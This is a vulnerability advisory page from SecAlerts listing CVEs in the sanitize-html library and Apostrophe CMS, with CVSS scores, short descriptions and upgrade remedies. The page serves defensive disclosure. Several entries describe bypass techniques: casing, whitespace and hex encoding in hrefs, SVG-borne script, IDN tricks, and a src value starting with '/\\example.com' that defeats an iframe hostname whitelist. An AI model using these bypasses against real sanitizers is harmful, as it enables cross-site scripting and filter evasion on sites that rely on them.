Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

'sanitize-html' prior to version 1.0.3 is vulnerable to Cross-site Scripting (XSS). The function 'naughtyHref' doesn't properly validate the hyperreference (href) attribute in anchor tags (<a>), allowing bypasses that contain different casings, whitespace characters, or hexadecimal encodings.

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

sanitize-html prior to version 2.0.0-beta is vulnerable to Cross-site Scripting (XSS). The sanitizeHtml() function in index.js does not sanitize content when using the custom transformTags option, which is intended to convert attribute values into text. As a result, malicious input can be transformed into executable code.

First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P

Versions of the package sanitize-html before 2.12.1 are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in sanitize-html library. Insecure global regular expression replacement logic of HTML comment removal could lead to a regular expression Denial of Service (ReDoS), affecting the availability of the affected component.

1 / 5
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or changing the password, creating a situation in which a device compromised by a third party could not be locked out by those means. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.

Remedy

Upgrade to version 3.4.0
First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.

Remedy

Upgrade to version 3.4.0
First published (updated )
Severity
5.3
Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Apostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the "allowedIframeHostnames" option when the "allowIframeRelativeUrls" is set to true, which allows attackers to bypass hostname whitelist for iframe element, related using an src value that starts with "/\\example.com".

1 / 2
First published (updated )
Severity
5.3
Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Apostrophe Technologies sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which could allow an attacker to bypass hostname whitelist validation set by the "allowedIframeHostnames" option.

1 / 2
First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

sanitize-html before 1.4.3 has XSS.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203